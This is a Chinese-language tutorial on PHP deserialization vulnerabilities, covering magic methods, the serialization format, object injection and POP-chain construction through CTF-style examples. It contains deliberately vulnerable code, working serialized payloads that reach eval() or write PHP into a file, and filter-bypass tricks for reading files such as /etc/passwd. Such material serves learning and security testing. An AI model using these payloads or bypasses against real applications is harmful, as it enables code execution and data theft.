PHP反序列化漏洞 - 筑基篇

admin 2022年12月10日20:54:55评论21 views字数 11387阅读37分57秒阅读模式

1. PHP类与对象

类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。

<?phpclass people{   //定义类属性(类似变量),public 代表可见性(公有)    public $name = 'joker';   //定义类方法(类似函数)   public function smile(){        echo $this->name." is smile...n";   }}$psycho = new people(); //根据people类实例化对象$psycho->smile();?>

PHP反序列化漏洞 - 筑基篇

        上述代码定义了一个people类,并在在类中定义了一个public类型的变量$name和类方法smile。然后实例化一个对象$psycho,去调用people类里面的smile方法,打印出结果。



2. 魔术方法

为什么被称为魔法方法呢?因为是在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。PHP 将所有以__(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以__为前缀。下表为php常见的魔术方法:

方法名

作用

__construct

构造函数,在创建对象时候初始化对象,一般用于对变量赋初值

__destruct

析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用

__toString

当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法

__wakeup()

使用unserialize时触发,反序列化恢复对象之前调用该方法

__sleep()

使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)

__destruct()

对象被销毁时触发

__call()

在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法

__callStatic()

在静态上下文中调用不可访问的方法时触发

__get()

读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)

__set()

在给不可访问属性赋值时,即在调用私有属性的时候会自动执行

__isset()

当对不可访问属性调用isset()或empty()时触发

__unset()

当对不可访问属性调用unset()时触发

__invoke()

当脚本尝试将对象调用为函数时触发

额外提一下__tostring的具体触发场景:

(1)  echo($obj) / print($obj) 打印时会触发

(2) 反序列化对象与字符串连接时

(3) 反序列化对象参与格式化字符串时

(4) 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5) 反序列化对象参与格式化SQL语句,绑定参数时

(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8) 反序列化的对象作为 class_exists() 的参数的时候

举个栗子:

<?php    class animal {        private $name = 'caixukun';        public function sleep(){            echo "<hr>";            echo $this->name . " is sleeping...n";        }        public function __wakeup(){            echo "<hr>";            echo "调用了__wakeup()方法n";        }        public function __construct(){            echo "<hr>";            echo "调用了__construct()方法n";        }        public function __destruct(){            echo "<hr>";            echo "调用了__destruct()方法n";        }        public function __toString(){            echo "<hr>";            echo "调用了__toString()方法n";        }        public function __set($key, $value){            echo "<hr>";            echo "调用了__set()方法n";        }        public function __get($key) {            echo "<hr>";            echo "调用了__get()方法n";        }    }        $ji = new animal();    $ji->name = 1;    echo $ji->name;    $ji->sleep();    $ser_ji = serialize($ji);    //print_r($ser_ji);    print_r(unserialize($ser_ji))?>

PHP反序列化漏洞 - 筑基篇



3. 序列化/反序列化

    在开发的过程中常常遇到需要把对象或者数组进行序列号存储,反序列化输出的情况。特别是当需要把数组存储到mysql数据库中时,我们时常需要将数组进行序列号操作。

  • php序列化(serialize):是将变量转换为可保存或传输的字符串的过程

  • php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。

常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。


序列化

举个序列化小栗子:

<?phpclass object{    public $team = 'joker';    private $team_name = 'hahaha';    protected $team_group = 'biubiu';    function hahaha(){        $this->$team_members = '奥力给';    }}$object = new object();echo serialize($object);?>

PHP反序列化漏洞 - 筑基篇

以上是序列化之后的结果,o代表是一个对象,6是对象object的长度,3的意思是有三个类属性,后面花括号里的是类属性的内容,s表示的是类属性team的类型,4表示类属性team的长度,后面的以此类推。值得一提的是,类方法并不会参与到实例化里面

    需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化。

  • 使用public修饰进行序列化后,变量$team的长度为4,正常输出。

  • 使用private修饰进行序列化后,会在变量$team_name前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17

  • 使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13

通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:

1. 受Private修饰的私有成员,序列化时: x00 +  [私有成员所在类名]  + x00 [变量名]

2. 受Protected修饰的成员,序列化时:x00 + * + x00 + [变量名]

其中,"x00"代表ASCII为0的值,即空字节," * " 必不可少。

序列化格式中的字母含义:

a - array                    b - boolean  d - double                   i - integero - common object            r - references - string                   C - custom objectO - class                    N - nullR - pointer reference        U - unicode string


反序列化

    反序列化的话,就依次根据规则进行反向复原。

    这边定义一个字符串,然后使用反序列化函数unserialize进行反序列化处理,最后使用var_dump进行输出:

<?php    $ser = 'O:6:"object":3:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}';    $ser = unserialize($ser);    var_dump($ser);?>

PHP反序列化漏洞 - 筑基篇



4. PHP反序列化漏洞

在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

挖掘反序列化漏洞的条件是:

1. 代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。

2. unserialize()函数的参数可控。


PHP对象注入示例一:

<?phpclass A{    var $test = "demo";    function __destruct(){        @eval($this->test);    }}$test = $_POST['test'];$len = strlen($test)+1;$p = "O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}"; // 构造序列化对象$test_unser = unserialize($p); // 反序列化同时触发_destruct函数?>

    如上代码,最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。根据上面的魔术方法的介绍,当程序跑到unserialize()反序列化的时候,会触发__destruct()方法,同时也可以触发__wakeup()方法。但是如果想注入恶意payload,还需要对$test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test变量进行覆盖。

PHP反序列化漏洞 - 筑基篇

可以看到当我们传入的参数为phpinfo()

PHP反序列化漏洞 - 筑基篇

这样的话在调用__destruct方法执行eval之前就把变量$test的值替换成恶意payload。


✍ PHP对象注入示例二:

这是来自bugku的一道题。

index.php

<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){     echo "hello friend!<br>";     if(preg_match("/flag/",$file))    {        echo "不能现在就给你flag哦";        exit();     }    else    {        include($file);        $password = unserialize($password);        echo $password;     } }else{        echo "you are not the number of bugku ! "; } ?>

hint.php

<?php  class Flag{//flag.php      public $file;      public function __tostring(){          if(isset($this->file)){              echo file_get_contents($this->file);             echo "<br>";            return ("good");        }      }  }  ?>

    hint.php文件中使用了魔术方法__tostring()方法,当一个对象被当作一个字符串被调用时即可触发,方法的主要作用是读取并打印传进来的$file,估计是通过反序列化漏洞来读取flag.php的内容。追踪以下调用链,在index.php文件中发现使用echo将反序列化的对象当作字符串打印,此处就会触发__tostring()方法,并且unserialize()内的变量可控,满足反序列化漏洞条件。直接构造payload:(关于使用php://filter进行任意文件的读取,参照p牛:《谈一谈php://filter的妙用》)

PHP反序列化漏洞 - 筑基篇


PHP对象注入示例三:

<?phpclass test{    var $test = '123';    function __wakeup(){        $fp = fopen("flag.php","w");        fwrite($fp,$this->test);        fclose($fp);    }}$a = $_GET['id'];print_r($a);echo "</br>";$a_unser = unserialize($a);require "flag.php";?>

    如上代码主要通过调用魔术方法__wakeup$test的值写入flag.php文件中,当调用unserialize()反序列化操作时会触发__wakeup魔术方法,接下来就需要构造传进去的payload,先生成payload:

<?phpclass test{    var $test = "<?php phpinfo(); ?>";}$test = new test();echo serialize($test);?>

PHP反序列化漏洞 - 筑基篇

传入payload:

PHP反序列化漏洞 - 筑基篇

    在执行unserialize()方法时会触发__wakeup()方法执行,将传入的字符串反序列化后,会替换掉test类里面$test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。


5. PHP反序列化利用 --- POP链构造

上文的两个例子都是基于 " 自动调用 " 的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 " 自动调用 " 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。

5.1 POP简介

POP面向属性编程(Property-Oriented Programming

常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的  " gadget " 找到漏洞点。

POP CHAIN

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

5.2 POP链利用技巧

一些有用的POP链中出现的方法

- 命令执行:exec()、passthru()、popen()、system()- 文件操作:file_put_contents()、file_get_contents()、unlink()- 代码执行:eval()、assert()、call_user_func()

反序列化中为避免信息丢失,使用大写S支持字符串的编码

PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:

s:4:"user"; -> S:4:"use72";

深浅copy

在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。

$A = &$B;

利用PHP伪协议

配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。


5.3 POP链构造小栗子一:

<?phpclass main {    protected $ClassObj;    function __construct() {        $this->ClassObj = new normal();    }    function __destruct() {        $this->ClassObj->action();    }}class normal {    function action() {        echo "hello bmjoker";    }}class evil {    private $data;    function action() {        eval($this->data);    }}//$a = new main();unserialize($_GET['a']);?>

如上代码,危险的命令执行方法eval不在魔术方法中,在evil类中。但是魔术方法__construct()是调用normal类,__destruct()在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法,并伪造evil类中的变量$data,达成任意代码执行的目的。这样的话可以尝试去构造POP利用链,让魔术方法__construct()去调用evil这个类,并且给变量$data赋予恶意代码,比如php探针phpinfo(),这样就相当于执行<?php eval("phpinfo();")?>。 尝试构造payload:

PHP反序列化漏洞 - 筑基篇

编写我们想要执行的效果,然后进行序列化。

    但是由于$ClassObjprotected类型修饰,$dataprivate类型修饰,在序列化的时候,多出来的字节都被x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。

最后payload为:

O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

PHP反序列化漏洞 - 筑基篇


5.4 POP链构造小栗子二:

<?phpclass MyFile {    public $name;    public $user;    public function __construct($name, $user) {        $this->name = $name;        $this->user = $user;     }    public function __toString(){        return file_get_contents($this->name);    }    public function __wakeup(){        if(stristr($this->name, "flag")!==False)             $this->name = "/etc/hostname";        else            $this->name = "/etc/passwd";         if(isset($_GET['user'])) {            $this->user = $_GET['user'];         }    }    public function __destruct() {        echo $this;     }}if(isset($_GET['input'])){    $input = $_GET['input'];     if(stristr($input, 'user')!==False){        die('Hacker');     } else {        unserialize($input);    }}else {     highlight_file(__FILE__);}

像如上代码比较复杂的可以先定位魔术方法与漏洞触发点。在代码中发现__toString()魔术方法调用了file_get_contents()来读取变量$name的数据。当程序执行结束或者变量销毁时就会自动调用析构函数__destruct()并使用echo输出变量,__toString()方法在此时会被自动调用。关键在于如果能控制变量$name,就可以造成任意文件读取漏洞。但是通读代码发现前端传入的可控数据只有变量$user,并且传入的$user还不能包含 "user" 子符串。解决方法:

  1.$input前端传进来的参数不允许包含"user"字段,可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用16进制即可绕过

  2.$name字段不可控,$user字段可控,可以使用浅copy来实现赋值。

尝试构造payload:

<?phpclass MyFile {    public $name = '/etc/hosts';    public $user = '';}$a = new MyFile();$a->name = &$a->user;$b = serialize($a);$b = str_replace("user", "use\72", $b);$b = str_replace("s", "S", $b);var_dump($b);?>

PHP反序列化漏洞 - 筑基篇

    一般POP链都是反着程序来生成,将我们要实现的代码序列化,传入程序进行反序列化 ,就可以让程序按照我们的想法执行。

    如上代码我们的目的是去操控$name的值,但事实只有$user的值可控,所以采取浅copy:a->name = &a->name = &a->user。当变量$user改变时,变量$name也会跟着改变(其实就是指针指向的问题)。这样就可以通过控制变量$user的值来控制$name的值。紧接着下面两个str_replace目的是在序列化内容中用大写S表示字符串,这个字符串就支持将后面的字符串用16进制表示,就可以绕过代码中对用户输入"user" 字符串的检测。尝试执行payload:

PHP反序列化漏洞 - 筑基篇

传入user=D://1.txt,就相当于替换$this->name的值,成功读取文件。


5.5 POP链构造小栗子三:

这个小例子来自于《PHP反序列化由浅入深》,这个例子有点意思。

<?phpclass start_gg{    public $mod1;    public $mod2;    public function __destruct(){        $this->mod1->test1();    }}class Call{    public $mod1;    public $mod2;    public function test1(){        $this->mod1->test2();    }}class funct{    public $mod1;    public $mod2;    public function __call($test2,$arr){        $s1 = $this->mod1;        $s1();    }}class func{    public $mod1;    public $mod2;    public function __invoke(){        $this->mod2 = "字符串拼接".$this->mod1;    } }class string1{    public $str1;    public $str2;    public function __toString(){        $this->str1->get_flag();        return "1";    }}class GetFlag{    public function get_flag(){        echo "flag:xxxxxxxxxxxx";    }}$a = $_GET['string'];unserialize($a);?>

最后的目的是获取flag,也就是需要调用GetFlag类中的get_flag方法。这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。

1. string1中的__tostring存在$this->str1->get_flag(),分析一下要自动调用__tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。

$this->str1 = new GetFlag()


2. 发现类func中存在__invoke方法执行了字符串拼接,需要把func当成函数使用自动调用__invoke然后把$mod1赋值为string1的对象与$mod2拼接。

$this->mod1 = new string1()   这样的话在字符串拼接的时候就会触发魔术方法__toString()


3. 在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用__call方法;

$this->mod1 = new func()   将func类作为函数调用就会触发魔术方法__invoke()


4. 在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。

$this->mod1 = new funct()    因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()


5. 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里

$this->mod1 = new Call()

这个例子有趣的地方是在于结合魔术方法来层层调用,根据上面的分析来构造payload:

<?phpclass start_gg{    public $mod1;    public $mod2;    public function __construct(){        $this->mod1 = new Call();  //把$mod1赋值为Call类对象    }    public function __destruct(){        $this->mod1->test1();    }}class Call{    public $mod1;    public $mod2;    public function __construct(){        $this->mod1 = new funct();  //把 $mod1赋值为funct类对象    }    public function test1(){        $this->mod1->test2();    }}class funct{    public $mod1;    public $mod2;    public function __construct(){        $this->mod1= new func();  //把 $mod1赋值为func类对象    }    public function __call($test2,$arr){        $s1 = $this->mod1;        $s1();    }}class func{    public $mod1;    public $mod2;    public function __construct(){        $this->mod1= new string1();  //把 $mod1赋值为string1类对象    }    public function __invoke(){            $this->mod2 = "字符串拼接".$this->mod1;    } }class string1{    public $str1;    public function __construct(){        $this->str1= new GetFlag();  //把 $str1赋值为GetFlag类对象          }    public function __toString(){            $this->str1->get_flag();        return "1";    }}class GetFlag{    public function get_flag(){        echo "flag:"."xxxxxxxxxxxx";    }}$b = new start_gg;  //构造start_gg类对象$becho urlencode(serialize($b));  //显示输出url编码后的序列化对象?>

PHP反序列化漏洞 - 筑基篇

输出payload后传参,成功执行get_flag():

PHP反序列化漏洞 - 筑基篇

本篇文章主要讲解php反序列化漏洞的基础,后面会详细讲解php session反序列化,与利用phar伪协议触发反序列化



PHP反序列化漏洞 - 筑基篇

原文始发于微信公众号(Mooyu安全团队):PHP反序列化漏洞 - 筑基篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月10日20:54:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP反序列化漏洞 - 筑基篇http://cn-sec.com/archives/1077972.html

发表评论

匿名网友 填写信息